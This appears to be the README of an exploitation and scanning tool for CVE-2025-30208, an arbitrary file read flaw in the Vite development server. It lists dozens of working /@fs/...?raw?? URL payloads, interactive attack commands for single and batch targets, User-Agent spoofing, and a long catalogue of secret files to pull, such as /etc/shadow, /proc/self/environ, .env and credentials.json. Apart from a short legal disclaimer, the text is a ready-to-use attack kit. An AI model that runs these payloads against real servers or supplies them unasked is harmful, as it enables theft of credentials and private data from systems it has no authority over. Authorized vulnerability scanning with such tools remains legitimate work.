
CVE‑2025‑30208 is a medium-severity arbitrary file read vulnerability in the Vite development server (a popular frontend build tool)
Advanced vulnerability scanner for CVE-2025-30208 with enterprise-grade features
Professional penetration testing tool for Vite Arbitrary File Read vulnerability detection
🚀 Quick Start • 📋 Features • 🔧 Usage • 📊 Examples • 🛡️ Security
This is a comprehensive vulnerability scanner designed to detect and exploit the CVE-2025-30208 vulnerability in Vite development servers. The vulnerability allows arbitrary file read access through Vite's file system endpoints, potentially exposing sensitive configuration files, source code, and system information.
The tool now features a modular architecture for better maintainability and extensibility:
CVE-2025-30208.py - Main scanner applicationpayloads.py - Advanced exploitation payloads (60+ variations)sensitive_files.py - Comprehensive sensitive file database (200+ files)html_template.py - Enhanced hacker-style HTML reporting templatepip3 install -r requirements.txt
python3 CVE-2025-30208.py
CVE-2025-30208 > set RHOST 192.168.1.100
CVE-2025-30208 > set RPORT 3000
CVE-2025-30208 > run
CVE-2025-30208 > set RHOST 192.168.1.100
CVE-2025-30208 > set RPORT 3000
CVE-2025-30208 > set FILEPATH etc/passwd
CVE-2025-30208 > test
CVE-2025-30208 > run
# Enable verbose mode for detailed output
CVE-2025-30208 > verbose
CVE-2025-30208 > run
CVE-2025-30208 > set THREADS 10
CVE-2025-30208 > batch
192.168.1.100:3000
192.168.1.101:3000
192.168.1.102:3000
[Press Enter twice to finish]
CVE-2025-30208 > scan
# Configure proxy
CVE-2025-30208 > proxy
Enter proxy: http://127.0.0.1:8080
# Set custom headers
CVE-2025-30208 > headers
Enter headers: {"User-Agent": "Custom Scanner"}
# Configure rate limiting
CVE-2025-30208 > rate
Enter rate limit: 1.0
# Generate beautiful HTML report
CVE-2025-30208 > pull
# Start web server to view report
CVE-2025-30208 > web
# Start web server on specific port
CVE-2025-30208 > web 8081
# Stop web server
CVE-2025-30208 > web off
The scanner now uses 60+ different payload variations organized in payloads.py:
/@fs/{file_path}?raw??
/@fs/{file_path}?raw&url
/@fs/{file_path}?import&raw??
/@fs/{file_path}?raw&import
/@fs/{file_path}?import&url
/@fs/{file_path}?raw&source
/@fs/{file_path}?raw&content
/@fs/{file_path}?raw&data
/@fs/{file_path}?raw&file
/@fs/{file_path}?raw&type=text
/@fs/{file_path}?raw&format=text
/@fs/{file_path}?raw&encoding=utf8
/@fs/{file_path}?raw&vite&dev
/@fs/{file_path}?raw&vite&hot
/@fs/{file_path}?raw&vite&hmr
/@fs/{file_path}?raw&development
/@fs/{file_path}?raw&debug
/@fs/{file_path}?raw&esm
/@fs/{file_path}?raw&cjs
/@fs/{file_path}?raw&umd
/@fs/{file_path}?raw&js
/@fs/{file_path}?raw&ts
/@fs/{file_path}?raw&json
/@fs/{file_path}?raw&css
/@fs/{file_path}?raw&html
/app/{file_path}?raw??
/App/{file_path}?raw??
The tool now tests for 200+ sensitive files organized in sensitive_files.py:
/etc/passwd - User account information/etc/shadow - Encrypted password data/etc/services - Network services/etc/hosts - Hostname mappings/etc/fstab - File system table/etc/ssh/sshd_config - SSH server configuration/etc/crontab - System cron jobs/etc/sudoers - Sudo configuration/proc/version - Kernel version/proc/cpuinfo - CPU information/proc/meminfo - Memory information/proc/self/environ - Process environment/proc/self/cmdline - Process command line/proc/net/tcp - TCP connections/proc/net/udp - UDP connections.env - Environment variables.env.local - Local environment.env.production - Production environmentconfig.json - Application configurationsettings.json - Application settingsapplication.properties - Spring configurationapplication.yml - YAML configurationdatabase.yml - Database configurationsecrets.json - Secret managementpackage.json - Node.js dependenciespackage-lock.json - Locked dependenciesyarn.lock - Yarn lock filevite.config.js - Vite configurationvite.config.ts - TypeScript Vite configtsconfig.json - TypeScript configurationwebpack.config.js - Webpack configurationnext.config.js - Next.js configurationnuxt.config.js - Nuxt.js configurationangular.json - Angular configurationvue.config.js - Vue.js configurationrollup.config.js - Rollup configurationeslint.config.js - ESLint configuration.git/config - Git configuration.gitignore - Git ignore rules.gitattributes - Git attributes.gitmodules - Git submodules.git/HEAD - Current branch.git/logs/HEAD - Git logs.git/refs/heads/master - Master branch.git/refs/heads/main - Main branchREADME.md - Project documentationCHANGELOG.md - Change logLICENSE - License informationCONTRIBUTING.md - Contribution guidelinesAUTHORS - Author informationTODO.md - Todo listROADMAP.md - Development roadmapDockerfile - Docker configurationdocker-compose.yml - Docker Composedocker-compose.override.yml - Override configuration.dockerignore - Docker ignore rulesdocker-compose.prod.yml - Production configurationdocker-compose.dev.yml - Development configurationnginx.conf - Nginx configurationapache2.conf - Apache configurationhttpd.conf - HTTP daemon config.htaccess - Apache access controlweb.config - IIS configurationrobots.txt - Search engine directivessitemap.xml - Site structuremanifest.json - Web app manifestsw.js - Service workerfirebase.json - Firebase configurationfirebase.rules - Firebase security rulesboot.ini - Boot configurationautoexec.bat - Auto-execution scriptsystem.ini - System configurationwin.ini - Windows configurationUsers - User directoriesWindows - System filesProgram Files - Application directoriesSystem - System filesLibrary - Library filesApplications - Application filesprivate/etc/hosts - Hosts fileprivate/etc/passwd - User accountsdatabase.db - SQLite databasedatabase.sqlite - SQLite databasedata.db - Data databasedump.sql - Database dumpschema.sql - Database schemamigrations - Database migrationslogs - Log directoryerror.log - Error logsaccess.log - Access logsapp.log - Application logsdebug.log - Debug logscombined.log - Combined logsbackup - Backup directorybackup.sql - Database backupbackup.zip - Compressed backupdump - Data dumpexport - Data exportauth.json - Authentication configurationcredentials.json - Credential storagekeys.json - Key managementtokens.json - Token storagejwt.json - JWT configurationoauth.json - OAuth configurationapi.json - API configurationswagger.json - API documentationopenapi.json - OpenAPI specificationgraphql.json - GraphQL configurationschema.json - API schemacloudformation.yml - AWS CloudFormationserverless.yml - Serverless configurationterraform.tf - Terraform configurationkubernetes.yml - Kubernetes configurationk8s.yml - Kubernetes configurationanalytics.json - Analytics configurationmonitoring.json - Monitoring setupmetrics.json - Metrics configurationtelemetry.json - Telemetry dataThe tool now generates beautiful hacker-style HTML reports with:
6.2.0 ≤ Vite ≤ 6.2.2
6.1.0 ≤ Vite ≤ 6.1.1
6.0.0 ≤ Vite ≤ 6.0.11
5.0.0 ≤ Vite ≤ 5.4.14
Vite ≤ 4.5.9
Vite ≥ 6.2.3
6.1.2 ≤ Vite < 6.2.0
6.0.12 ≤ Vite < 6.1.0
5.4.15 ≤ Vite < 6.0.0
4.5.10 ≤ Vite < 5.0.0
CVE-2025-30208 > set THREADS 20
CVE-2025-30208 > set RATE_LIMIT 0.5
CVE-2025-30208 > set TIMEOUT 10
CVE-2025-30208 > verbose
CVE-2025-30208 > batch
CVE-2025-30208 > proxy
Enter proxy: http://127.0.0.1:8080
CVE-2025-30208 > headers
Enter headers: {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}
CVE-2025-30208 > set RATE_LIMIT 2.0
CVE-2025-30208 > run
CVE-2025-30208 > set RHOST 192.168.1.100
CVE-2025-30208 > set RPORT 3000
CVE-2025-30208 > run
CVE-2025-30208 > pull
CVE-2025-30208 > web 8080
CVE-2025-30208 > set RHOST 192.168.1.100
CVE-2025-30208 > set RPORT 3000
CVE-2025-30208 > scan
CVE-2025-30208/
├── CVE-2025-30208.py # Main scanner application
├── payloads.py # Advanced exploitation payloads (60+)
├── sensitive_files.py # Sensitive file database (200+)
├── html_template.py # Enhanced HTML reporting template
├── README.md # This documentation
├── requirements.txt # Python dependencies
├── logs/ # Log files directory
├── data_leak.html # Generated HTML reports
├── data_leak.json # Generated JSON reports
└── session.json # Saved session configurations
We welcome contributions to improve this tool:
payloads.pysensitive_files.pyhtml_template.pyThis project is licensed for educational and authorized security testing purposes only.
⚠️ Legal Disclaimer: This tool is intended for authorized security testing and research purposes only. Users are responsible for ensuring they have proper authorization before testing any systems. The authors are not responsible for any misuse of this tool.
⭐ If this tool helped you, please give it a star! ⭐
Built with ❤️ for the security community
| Command | Description | Example |
|---|
set <option> <value> | Set configuration options | set RHOST 192.168.1.100 |
show options | Display current settings | show options |
edit | Interactive option editor | edit |
run / exploit | Run vulnerability test | run |
batch | Batch scan multiple targets | batch |
scan | Discover sensitive files | scan |
pull | Export results to HTML/JSON | pull |
web [on|off|port] | Web server for HTML reports | web 8080 |
save | Save session configuration | save |
load | Load session configuration | load |
test | Test connectivity to target | test |
validate | Validate current configuration | validate |
verbose | Toggle verbose mode | verbose |
proxy | Configure proxy settings | proxy |
headers | Set custom HTTP headers | headers |
rate | Configure rate limiting | rate |
log | Show logging information | log |
help / ? | Show help | help |
exit / quit | Exit tool | exit |
| Option | Description | Default | Validation |
|---|
RHOST | Target host/IP address | - | Hostname/IP validation |
RPORT | Target port number | - | Port range (1-65535) |
FILEPATH | File path to test | etc/passwd | Path validation |
PROXY | HTTP/HTTPS proxy URL | - | URL format validation |
VERBOSE | Enable verbose output | false | Boolean validation |
RATE_LIMIT | Delay between requests (seconds) | 0.3 | Numeric validation |
THREADS | Number of threads for batch scanning | 5 | Integer validation |
TIMEOUT | Request timeout (seconds) | 5 | Integer validation |
CUSTOM_HEADERS | Custom HTTP headers (JSON) | {} | JSON format validation |
prettier.config.js - Prettier configurationjest.config.js - Jest configurationbabel.config.js - Babel configurationtailwind.config.js - Tailwind CSS configuration| File | Description | Format |
|---|
data_leak.html | Enhanced hacker-style HTML vulnerability report | HTML |
data_leak.json | Structured JSON export | JSON |
sensitive_files_discovery.json | Discovered sensitive files | JSON |
session.json | Saved session configuration | JSON |
logs/cve_2025_30208_YYYYMMDD_HHMMSS.log | Detailed audit logs | Text |